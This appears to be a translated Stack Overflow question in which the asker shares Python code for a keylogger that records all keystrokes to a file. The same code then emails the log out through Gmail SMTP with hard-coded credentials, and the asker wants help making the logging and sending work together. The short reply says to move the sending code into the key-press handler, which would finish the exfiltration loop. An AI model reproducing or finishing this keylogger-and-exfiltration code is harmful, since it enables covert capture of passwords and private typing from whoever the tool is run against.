我正在尝试编写一个键盘记录器,将其日志文件发送到我的电子邮件地址。KeyLogger和电子邮件分开工作很好,但当放在同一个空闲文件中时,只有第一个列出的文件有效,而第二个不起作用。例如)我正在使用的代码-键盘记录器工作得很好,因为它在电子邮件之前,但我想知道如何让它们同时工作。
from pynput.keyboard import Key, Listener
import logging
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
#keylogger
log_dir = "C:\KeyLogger Python\Key_InputLog.txt"
logging.basicConfig(filename=(log_dir), level=logging.DEBUG, format='%
(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
#sending email to self.
email_sender = 'Emailhere@gmail.com'
email_receive = 'Emailhere@gmail.com'
password = 'Password!'
subject = 'KLE - Key_InputLog.txt'
msg = MIMEMultipart()
msg['From'] = email_sender
msg['to'] = email_receive
msg['Subject'] = subject
body = 'Sending a message via Python 3'
msg.attach(MIMEText(body,'plain'))
filename='Key_InputLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_sender,password)
server.sendmail(email_sender,email_receive,text)
server.quit()
发布于 2018-02-06 01:53:24
将需要在事件上运行的代码移到on_press()
函数中,而不是将其保留在模块级别。
https://stackoverflow.com/questions/48633850
复制相似问题